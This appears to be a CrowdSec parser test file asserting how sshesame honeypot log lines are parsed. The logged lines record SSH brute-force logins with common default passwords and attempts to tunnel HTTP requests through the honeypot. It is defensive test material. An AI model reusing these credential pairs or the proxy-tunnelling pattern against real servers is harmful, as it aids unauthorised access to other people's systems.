results["s00-raw"]["crowdsecurity/non-syslog"][63].Evt.Parsed["message"] == "2022/05/06 06:43:09 [195.3.147.60:38745] authentication for user \"!root\" with password \"\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][63].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][63].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][63].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][64].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][64].Evt.Parsed["message"] == "2022/05/06 06:43:09 [195.3.147.60:38745] connection with client version \"SSH-2.0-OpenSSH_4.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][64].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][64].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][64].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][65].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][65].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 0] direct TCP/IP forwarding from 127.0.0.1:6487 to 74.125.205.102:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][65].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][65].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][65].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][66].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][66].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][66].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][66].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][66].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][67].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][67].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][67].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][67].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][67].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][68].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][68].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 1] direct TCP/IP forwarding from 127.0.0.1:2206 to [2a00:1450:4010:c02::8b]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][68].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][68].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][68].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][69].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][69].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][69].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][69].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][69].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][70].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][70].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][70].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][70].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][70].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][71].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][71].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][71].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][71].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][71].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][72].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][72].Evt.Parsed["message"] == "2022/05/06 07:05:23 [190.189.12.92:60614] authentication for user \"arjun\" with password \"arjun123\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][72].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][72].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][72].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][73].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][73].Evt.Parsed["message"] == "2022/05/06 07:05:23 [190.189.12.92:60614] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][73].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][73].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][73].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][74].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][74].Evt.Parsed["message"] == "2022/05/06 07:05:25 [190.189.12.92:32868] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][74].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][74].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][74].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][75].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][75].Evt.Parsed["message"] == "2022/05/06 07:05:25 [190.189.12.92:32868] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][75].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][75].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][75].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][76].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][76].Evt.Parsed["message"] == "2022/05/06 07:05:25 [190.189.12.92:60614] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][76].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][76].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][76].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][77].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][77].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][77].Evt.Parsed["message"] == "2022/05/06 07:05:25 [190.189.12.92:32868] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][77].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][77].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][78].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][78].Evt.Parsed["message"] == "2022/05/06 07:05:25 [190.189.12.92:60614] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][78].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][78].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][78].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][79].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][79].Evt.Parsed["message"] == "2022/05/06 07:05:25 [190.189.12.92:60614] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][79].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][79].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][79].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][80].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][80].Evt.Parsed["message"] == "2022/05/06 07:45:57 [190.2.139.67:58629] [channel 111] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][80].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][80].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][80].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][81].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][81].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][81].Evt.Parsed["message"] == "2022/05/06 07:45:57 [190.2.139.67:58629] [channel 111] input: \"GET /?requestid=97339 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][81].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][81].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][82].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][82].Evt.Parsed["message"] == "2022/05/06 07:45:57 [190.2.139.67:58629] [channel 111] closed" results["s00-raw"]["crowdsecurity/non-syslog"][82].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][82].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][82].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][83].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][83].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][83].Evt.Parsed["message"] == "2022/05/06 07:51:27 [190.2.139.67:7117] [channel 104] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][83].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][83].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][84].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][84].Evt.Parsed["message"] == "2022/05/06 07:51:27 [190.2.139.67:7117] [channel 104] input: \"GET /?requestid=32137 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][84].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][84].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][84].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][85].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][85].Evt.Parsed["message"] == "2022/05/06 07:51:27 [190.2.139.67:7117] [channel 104] closed" results["s00-raw"]["crowdsecurity/non-syslog"][85].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][85].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][85].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][86].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][86].Evt.Parsed["message"] == "2022/05/06 07:54:02 [190.2.139.67:58629] [channel 113] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][86].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][86].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][86].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][87].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][87].Evt.Parsed["message"] == "2022/05/06 07:54:02 [190.2.139.67:58629] [channel 113] input: \"GET /?requestid=85851 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][87].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][87].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][87].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][88].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][88].Evt.Parsed["message"] == "2022/05/06 07:54:02 [190.2.139.67:58629] [channel 113] closed" results["s00-raw"]["crowdsecurity/non-syslog"][88].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][88].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][88].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][89].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][89].Evt.Parsed["message"] == "2022/05/06 08:01:27 [190.2.139.67:58629] [channel 115] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][89].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][89].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][89].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][90].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][90].Evt.Parsed["message"] == "2022/05/06 08:01:27 [190.2.139.67:58629] [channel 115] input: \"GET /?requestid=36986 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][90].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][90].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][90].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][91].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][91].Evt.Parsed["message"] == "2022/05/06 08:01:27 [190.2.139.67:58629] [channel 115] closed" results["s00-raw"]["crowdsecurity/non-syslog"][91].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][91].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][91].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][92].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][92].Evt.Parsed["message"] == "2022/05/06 08:06:24 [190.2.139.67:7117] [channel 106] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][92].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][92].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][92].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][93].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][93].Evt.Parsed["message"] == "2022/05/06 08:06:24 [190.2.139.67:7117] [channel 106] input: \"GET /?requestid=61985 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][93].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][93].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][93].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][94].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][94].Evt.Parsed["message"] == "2022/05/06 08:06:24 [190.2.139.67:7117] [channel 106] closed" results["s00-raw"]["crowdsecurity/non-syslog"][94].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][94].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][94].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][95].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][95].Evt.Parsed["message"] == "2022/05/06 08:14:21 [190.2.139.67:58629] [channel 132] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.142.17:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][95].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][95].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][95].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][96].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][96].Evt.Parsed["message"] == "2022/05/06 08:14:21 [190.2.139.67:58629] [channel 132] input: \"GET /?requestid=6514 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][96].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][96].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][96].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][97].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][97].Evt.Parsed["message"] == "2022/05/06 08:14:21 [190.2.139.67:58629] [channel 132] closed" results["s00-raw"]["crowdsecurity/non-syslog"][97].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][97].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][97].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][98].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][98].Evt.Parsed["message"] == "2022/05/06 08:36:14 [190.2.139.67:7117] [channel 108] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][98].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][98].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][98].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][99].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][99].Evt.Parsed["message"] == "2022/05/06 08:36:14 [190.2.139.67:7117] [channel 108] input: \"GET /?requestid=12818 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][99].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][99].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][99].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][100].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][100].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][100].Evt.Parsed["message"] == "2022/05/06 08:36:15 [190.2.139.67:7117] [channel 108] closed" results["s00-raw"]["crowdsecurity/non-syslog"][100].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][100].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][101].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][101].Evt.Parsed["message"] == "2022/05/06 08:57:43 [190.2.139.67:58629] [channel 135] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][101].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][101].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][101].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][102].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][102].Evt.Parsed["message"] == "2022/05/06 08:57:43 [190.2.139.67:58629] [channel 135] input: \"GET /?requestid=65533 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][102].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][102].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][102].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][103].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][103].Evt.Parsed["message"] == "2022/05/06 08:57:44 [190.2.139.67:58629] [channel 135] closed" results["s00-raw"]["crowdsecurity/non-syslog"][103].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][103].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][103].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][104].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][104].Evt.Parsed["message"] == "2022/05/06 09:14:07 [92.159.59.16:39498] authentication for user \"ubnt\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][104].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][104].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][104].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][105].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][105].Evt.Parsed["message"] == "2022/05/06 09:14:09 [92.159.59.16:39498] authentication for user \"ubnt\" with password \"ubnt1\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][105].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][105].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][105].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][106].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][106].Evt.Parsed["message"] == "2022/05/06 09:14:09 [92.159.59.16:39498] connection with client version \"SSH-2.0-OpenSSH_7.4\" established" results["s00-raw"]["crowdsecurity/non-syslog"][106].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][106].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][106].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][107].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][107].Evt.Parsed["message"] == "2022/05/06 09:14:10 [92.159.59.16:39498] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][107].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][107].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][107].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][108].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][108].Evt.Parsed["message"] == "2022/05/06 09:14:14 [15.207.177.208:41458] authentication for user \"roo\" with password \"123456\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][108].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][108].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][108].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][109].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][109].Evt.Parsed["message"] == "2022/05/06 09:14:14 [15.207.177.208:41458] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][109].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][109].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][109].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][110].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][110].Evt.Parsed["message"] == "2022/05/06 09:14:15 [15.207.177.208:41458] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][110].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][110].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][110].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][111].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][111].Evt.Parsed["message"] == "2022/05/06 09:14:16 [15.207.177.208:41708] authentication for user \"nproc\" with password \"nproc\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][111].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][111].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][111].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][112].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][112].Evt.Parsed["message"] == "2022/05/06 09:14:16 [15.207.177.208:41708] connection with client version \"SSH-2.0-libssh-0.6.3\" established" results["s00-raw"]["crowdsecurity/non-syslog"][112].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][112].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][112].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][113].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][113].Evt.Parsed["message"] == "2022/05/06 09:14:16 [15.207.177.208:41708] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][113].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][113].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][113].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][114].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][114].Evt.Parsed["message"] == "2022/05/06 09:15:03 [3.16.59.158:43316] authentication for user \"root\" with password \"sr1234\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][114].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][114].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][114].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][115].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][115].Evt.Parsed["message"] == "2022/05/06 09:15:03 [3.16.59.158:43316] connection with client version \"SSH-2.0-libssh_0.9.5\" established" results["s00-raw"]["crowdsecurity/non-syslog"][115].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][115].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][115].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][116].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][116].Evt.Parsed["message"] == "2022/05/06 09:15:04 [3.16.59.158:43318] authentication for user \"knockknockwhosthere\" with password \"knockknockwhosthere\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][116].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][116].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][116].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][117].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][117].Evt.Parsed["message"] == "2022/05/06 09:15:04 [3.16.59.158:43318] connection with client version \"SSH-2.0-libssh_0.9.5\" established" 